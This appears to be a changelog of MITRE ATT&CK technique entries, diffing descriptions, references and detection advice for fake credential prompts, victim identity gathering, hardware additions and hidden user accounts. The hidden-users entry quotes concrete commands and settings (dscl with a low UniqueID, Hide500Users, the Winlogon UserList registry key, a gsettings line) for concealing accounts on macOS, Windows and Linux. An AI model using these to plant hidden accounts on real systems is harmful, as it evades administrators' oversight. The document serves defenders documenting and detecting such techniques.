| x_mitre_contributors | Magno Logan, @magnologan, Trend Micro | |
| x_mitre_contributors | Ariel Shuper, Cisco | |
| x_mitre_contributors | Yossi Weizman, Azure Defender Research Team | |
| x_mitre_contributors | Vishwas Manral, McAfee | |
| x_mitre_data_sources | Logon Session: Logon Session Metadata | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow | |
| x_mitre_platforms | Containers | |
| x_mitre_platforms | macOS |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may mimic common operating system GUI components | t | 1 | Adversaries may mimic common operating system GUI components |
| > | to prompt users for credentials with a seemingly legitimate | > | to prompt users for credentials with a seemingly legitimate | ||
| > | prompt. When programs are executed that need additional pri | > | prompt. When programs are executed that need additional pri | ||
| > | vileges than are present in the current user context, it is | > | vileges than are present in the current user context, it is | ||
| > | common for the operating system to prompt the user for prope | > | common for the operating system to prompt the user for prope | ||
| > | r credentials to authorize the elevated privileges for the t | > | r credentials to authorize the elevated privileges for the t | ||
| > | ask (ex: [Bypass User Account Control](https://attack.mitre. | > | ask (ex: [Bypass User Account Control](https://attack.mitre. | ||
| > | org/techniques/T1548/002)). Adversaries may mimic this func | > | org/techniques/T1548/002)). Adversaries may mimic this func | ||
| > | tionality to prompt users for credentials with a seemingly l | > | tionality to prompt users for credentials with a seemingly l | ||
| > | egitimate prompt for a number of reasons that mimic normal u | > | egitimate prompt for a number of reasons that mimic normal u | ||
| > | sage, such as a fake installer requiring additional access o | > | sage, such as a fake installer requiring additional access o | ||
| > | r a fake malware removal suite.(Citation: OSX Malware Exploi | > | r a fake malware removal suite.(Citation: OSX Malware Exploi | ||
| > | ts MacKeeper) This type of prompt can be used to collect cre | > | ts MacKeeper) This type of prompt can be used to collect cre | ||
| > | dentials via various languages such as AppleScript(Citation: | > | dentials via various languages such as [AppleScript](https:/ | ||
| > | LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malw | > | /attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm | ||
| > | are) and PowerShell(Citation: LogRhythm Do You Trust Oct 201 | > | Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citati | ||
| > | 4)(Citation: Enigma Phishing for Credentials Jan 2015). | > | on: Spoofing credential dialogs) and [PowerShell](https://at | ||
| > | tack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do | ||||
| > | You Trust Oct 2014)(Citation: Enigma Phishing for Credentia | ||||
| > | ls Jan 2015)(Citation: Spoofing credential dialogs) On Linux | ||||
| > | systems adversaries may launch dialog boxes prompting users | ||||
| > | for credentials from malicious shell scripts or the command | ||||
| > | line (i.e. [Unix Shell](https://attack.mitre.org/techniques | ||||
| > | /T1059/004)).(Citation: Spoofing credential dialogs) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 20:56:14.853000+00:00 | 2022-03-08 21:05:20.136000+00:00 |
| description | Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)). Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as AppleScript(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and PowerShell(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015). | Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)). Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) |
| external_references[5]['source_name'] | Enigma Phishing for Credentials Jan 2015 | Spoofing credential dialogs |
| external_references[5]['description'] | Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018. | Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021. |
| external_references[5]['url'] | https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/ | https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/ |
| x_mitre_data_sources[0] | PowerShell logs | Script: Script Execution |
| x_mitre_data_sources[1] | User interface | Process: Process Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Command: Command Execution |
| x_mitre_detection | Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. | Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Enigma Phishing for Credentials Jan 2015', 'description': 'Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.', 'url': 'https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/'} | |
| x_mitre_platforms | Linux |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's identi |
| > | tion about the victim's identity that can be used during tar | > | ty that can be used during targeting. Information about iden | ||
| > | geting. Information about identities may include a variety o | > | tities may include a variety of details, including personal | ||
| > | f details, including personal data (ex: employee names, emai | > | data (ex: employee names, email addresses, etc.) as well as | ||
| > | l addresses, etc.) as well as sensitive details such as cred | > | sensitive details such as credentials. Adversaries may gath | ||
| > | entials. Adversaries may gather this information in various | > | er this information in various ways, such as direct elicitat | ||
| > | ways, such as direct elicitation via [Phishing for Informat | > | ion via [Phishing for Information](https://attack.mitre.org/ | ||
| > | ion](https://attack.mitre.org/techniques/T1598). Information | > | techniques/T1598). Information about users could also be enu | ||
| > | about victims may also be exposed to adversaries via online | > | merated via other active means (i.e. [Active Scanning](https | ||
| > | or other accessible data sets (ex: [Social Media](https://a | > | ://attack.mitre.org/techniques/T1595)) such as probing and a | ||
| > | ttack.mitre.org/techniques/T1593/001) or [Search Victim-Owne | > | nalyzing responses from authentication services that may rev | ||
| > | d Websites](https://attack.mitre.org/techniques/T1594)).(Cit | > | eal valid usernames in a system.(Citation: GrimBlog Username | ||
| > | ation: OPM Leak)(Citation: Register Deloitte)(Citation: Regi | > | Enum) Information about victims may also be exposed to adver | ||
| > | ster Uber)(Citation: Detectify Slack Tokens)(Citation: Forbe | > | saries via online or other accessible data sets (ex: [Social | ||
| > | s GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHu | > | Media](https://attack.mitre.org/techniques/T1593/001) or [S | ||
| > | b Gitrob)(Citation: CNET Leaks) Gathering this information m | > | earch Victim-Owned Websites](https://attack.mitre.org/techni | ||
| > | ay reveal opportunities for other forms of reconnaissance (e | > | ques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitt | ||
| > | x: [Search Open Websites/Domains](https://attack.mitre.org/t | > | e)(Citation: Register Uber)(Citation: Detectify Slack Tokens | ||
| > | echniques/T1593) or [Phishing for Information](https://attac | > | )(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog | ||
| > | k.mitre.org/techniques/T1598)), establishing operational res | > | )(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering | ||
| > | ources (ex: [Compromise Accounts](https://attack.mitre.org/t | > | this information may reveal opportunities for other forms of | ||
| > | echniques/T1586)), and/or initial access (ex: [Phishing](htt | > | reconnaissance (ex: [Search Open Websites/Domains](https:// | ||
| > | ps://attack.mitre.org/techniques/T1566) or [Valid Accounts]( | > | attack.mitre.org/techniques/T1593) or [Phishing for Informat | ||
| > | https://attack.mitre.org/techniques/T1078)). | > | ion](https://attack.mitre.org/techniques/T1598)), establishi | ||
| > | ng operational resources (ex: [Compromise Accounts](https:// | ||||
| > | attack.mitre.org/techniques/T1586)), and/or initial access ( | ||||
| > | ex: [Phishing](https://attack.mitre.org/techniques/T1566) or | ||||
| > | [Valid Accounts](https://attack.mitre.org/techniques/T1078) | ||||
| > | ). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)'] | |
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Content'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-27 02:27:31.387000+00:00 | 2022-04-21 14:39:39.857000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). |
| external_references[2]['source_name'] | Register Deloitte | Detectify Slack Tokens |
| external_references[2]['description'] | Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020. | Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020. |
| external_references[2]['url'] | https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/ | https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/ |
| external_references[3]['source_name'] | Register Uber | GitHub truffleHog |
| external_references[3]['description'] | McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020. | Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020. |
| external_references[3]['url'] | https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/ | https://github.com/dxa4481/truffleHog |
| external_references[4]['source_name'] | Detectify Slack Tokens | GrimBlog UsernameEnum |
| external_references[4]['description'] | Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020. | GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021. |
| external_references[4]['url'] | https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/ | https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/ |
| external_references[5]['source_name'] | Forbes GitHub Creds | Register Uber |
| external_references[5]['description'] | Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020. | McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020. |
| external_references[5]['url'] | https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196 | https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/ |
| external_references[6]['source_name'] | GitHub truffleHog | GitHub Gitrob |
| external_references[6]['description'] | Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020. | Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020. |
| external_references[6]['url'] | https://github.com/dxa4481/truffleHog | https://github.com/michenriksen/gitrob |
| external_references[7]['source_name'] | GitHub Gitrob | CNET Leaks |
| external_references[7]['description'] | Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020. | Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020. |
| external_references[7]['url'] | https://github.com/michenriksen/gitrob | https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/ |
| external_references[8]['source_name'] | CNET Leaks | Forbes GitHub Creds |
| external_references[8]['description'] | Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020. | Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020. |
| external_references[8]['url'] | https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/ | https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Register Deloitte', 'description': "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.", 'url': 'https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/'} |
Current version: 1.6
Version changed from: 1.1 → 1.6
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may introduce computer accessories, computers, o | t | 1 | Adversaries may introduce computer accessories, networking h |
| > | r networking hardware into a system or network that can be u | > | ardware, or other computing devices into a system or network | ||
| > | sed as a vector to gain access. While public references of u | > | that can be used as a vector to gain access. Rather than ju | ||
| > | sage by APT groups are scarce, many penetration testers leve | > | st connecting and distributing payloads via removable storag | ||
| > | rage hardware additions for initial access. Commercial and o | > | e (i.e. [Replication Through Removable Media](https://attack | ||
| > | pen source products are leveraged with capabilities such as | > | .mitre.org/techniques/T1091)), more robust hardware addition | ||
| > | passive network tapping (Citation: Ossmann Star Feb 2011), m | > | s can be used to introduce new functionalities and/or featur | ||
| > | an-in-the middle encryption breaking (Citation: Aleks Weapon | > | es into a system that can then be abused. While public refe | ||
| > | s Nov 2015), keystroke injection (Citation: Hak5 RubberDuck | > | rences of usage by threat actors are scarce, many red teams/ | ||
| > | Dec 2016), kernel memory reading via DMA (Citation: Frisk DM | > | penetration testers leverage hardware additions for initial | ||
| > | A August 2016), adding new wireless access to an existing ne | > | access. Commercial and open source products can be leveraged | ||
| > | twork (Citation: McMillan Pwn March 2012), and others. | > | with capabilities such as passive network tapping, network | ||
| > | traffic modification (i.e. [Adversary-in-the-Middle](https:/ | ||||
| > | /attack.mitre.org/techniques/T1557)), keystroke injection, k | ||||
| > | ernel memory reading via DMA, addition of new wireless acces | ||||
| > | s to an existing network, and others.(Citation: Ossmann Star | ||||
| > | Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk | ||||
| > | DMA August 2016)(Citation: McMillan Pwn March 2012) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018. | |
| external_references | CAPEC-440 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-440 | |
| external_references | Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018. |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 16:12:48.086000+00:00 | 2022-04-28 16:09:12.782000+00:00 |
| description | Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others. | Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused. While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012) |
| external_references[1]['source_name'] | capec | Ossmann Star Feb 2011 |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/440.html | https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html |
| external_references[2]['source_name'] | Ossmann Star Feb 2011 | Aleks Weapons Nov 2015 |
| external_references[2]['description'] | Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018. | Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018. |
| external_references[2]['url'] | https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html | https://www.youtube.com/watch?v=lDvf4ScWbcQ |
| external_references[3]['source_name'] | Aleks Weapons Nov 2015 | McMillan Pwn March 2012 |
| external_references[3]['description'] | Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018. | Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018. |
| external_references[3]['url'] | http://www.bsidesto.ca/2015/slides/Weapons_of_a_Penetration_Tester.pptx | https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/ |
| external_references[4]['source_name'] | Hak5 RubberDuck Dec 2016 | Frisk DMA August 2016 |
| external_references[4]['description'] | Hak5. (2016, December 7). Stealing Files with the USB Rubber Ducky – USB Exfiltration Explained. Retrieved March 30, 2018. | Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018. |
| external_references[4]['url'] | https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained | https://www.youtube.com/watch?v=fXthwl6ShOg |
| external_references[5]['source_name'] | Frisk DMA August 2016 | capec |
| external_references[5]['url'] | https://www.youtube.com/watch?v=fXthwl6ShOg | https://capec.mitre.org/data/definitions/440.html |
| x_mitre_data_sources[0] | Asset management | Drive: Drive Creation |
| x_mitre_data_sources[1] | Data loss prevention | Network Traffic: Network Traffic Flow |
| x_mitre_version | 1.1 | 1.6 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Application Log: Application Log Content |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'McMillan Pwn March 2012', 'description': 'Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018.', 'url': 'https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/'} |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use hidden users to mask the presence of use | t | 1 | Adversaries may use hidden users to hide the presence of use |
| > | r accounts they create. Every user account in macOS has a us | > | r accounts they create or modify. Administrators may want to | ||
| > | erID associated with it. When creating a user, you can speci | > | hide users when there are many user accounts on a given sys | ||
| > | fy the userID for that account. There is a property value i | > | tem or if they want to hide their administrative or other ma | ||
| > | n <code>/Library/Preferences/com.apple.loginwindow</code> ca | > | nagement accounts from other users. In macOS, adversaries | ||
| > | lled <code>Hide500Users</code> that prevents users with user | > | can create or modify a user to be hidden through manipulatin | ||
| > | IDs 500 and lower from appearing at the login screen. When u | > | g plist files, folder attributes, and user attributes. To pr | ||
| > | sing the [Create Account](https://attack.mitre.org/technique | > | event a user from being shown on the login screen and in Sys | ||
| > | s/T1136) technique with a userID under 500 (ex: <code>sudo d | > | tem Preferences, adversaries can set the userID to be under | ||
| > | scl . -create /Users/username UniqueID 401</code>) and enabl | > | 500 and set the key value <code>Hide500Users</code> to <code | ||
| > | ing this property (setting it to Yes), an adversary can conc | > | >TRUE</code> in the <code>/Library/Preferences/com.apple.log | ||
| > | eal user accounts. (Citation: Cybereason OSX Pirrit). | > | inwindow</code> plist file.(Citation: Cybereason OSX Pirrit) | ||
| > | Every user has a userID associated with it. When the <code> | ||||
| > | Hide500Users</code> key value is set to <code>TRUE</code>, u | ||||
| > | sers with a userID under 500 do not appear on the login scre | ||||
| > | en and in System Preferences. Using the command line, advers | ||||
| > | aries can use the <code>dscl</code> utility to create hidden | ||||
| > | user accounts by setting the <code>IsHidden</code> attribut | ||||
| > | e to <code>1</code>. Adversaries can also hide a user’s home | ||||
| > | folder by changing the <code>chflags</code> to hidden.(Cita | ||||
| > | tion: Apple Support Hide a User Account) Adversaries may s | ||||
| > | imilarly hide user accounts in Windows. Adversaries can set | ||||
| > | the <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ | ||||
| > | Winlogon\SpecialAccounts\UserList</code> Registry key value | ||||
| > | to <code>0</code> for a specific user to prevent that user f | ||||
| > | rom being listed on the logon screen.(Citation: FireEye SMOK | ||||
| > | EDHAM June 2021)(Citation: US-CERT TA18-074A) On Linux syst | ||||
| > | ems, adversaries may hide user accounts from the login scree | ||||
| > | n, also referred to as the greeter. The method an adversary | ||||
| > | may use depends on which Display Manager the distribution is | ||||
| > | currently using. For example, on an Ubuntu system using the | ||||
| > | GNOME Display Manger (GDM), accounts may be hidden from the | ||||
| > | greeter using the <code>gsettings</code> command (ex: <code | ||||
| > | >sudo -u gdm gsettings set org.gnome.login-screen disable-us | ||||
| > | er-list true</code>).(Citation: Hide GDM User Accounts) Disp | ||||
| > | lay Managers are not anchored to specific distributions and | ||||
| > | may be changed by a user or adversary. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Omkar Gudhate'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['root', 'Administrator'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-31 17:42:43.768000+00:00 | 2022-04-19 02:31:01.315000+00:00 |
| description | Adversaries may use hidden users to mask the presence of user accounts they create. Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account.
There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit). | Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.
In macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value Hide500Users to TRUE in the /Library/Preferences/com.apple.loginwindow plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the Hide500Users key value is set to TRUE, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the dscl utility to create hidden user accounts by setting the IsHidden attribute to 1. Adversaries can also hide a user’s home folder by changing the chflags to hidden.(Citation: Apple Support Hide a User Account)
Adversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)
On Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the gsettings command (ex: sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary. |
| external_references[1]['description'] | Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 31, 2020. | Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021. |
| external_references[1]['url'] | http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf | https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf |
| x_mitre_data_sources[0] | File monitoring | User Account: User Account Creation |
| x_mitre_data_sources[1] | Authentication logs | Windows Registry: Windows Registry Key Modification |
| x_mitre_detection | This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs. | Monitor for users that may be hidden from the login screen but still present in additional artifacts of usage such as directories and authentication logs.
Monitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList key.
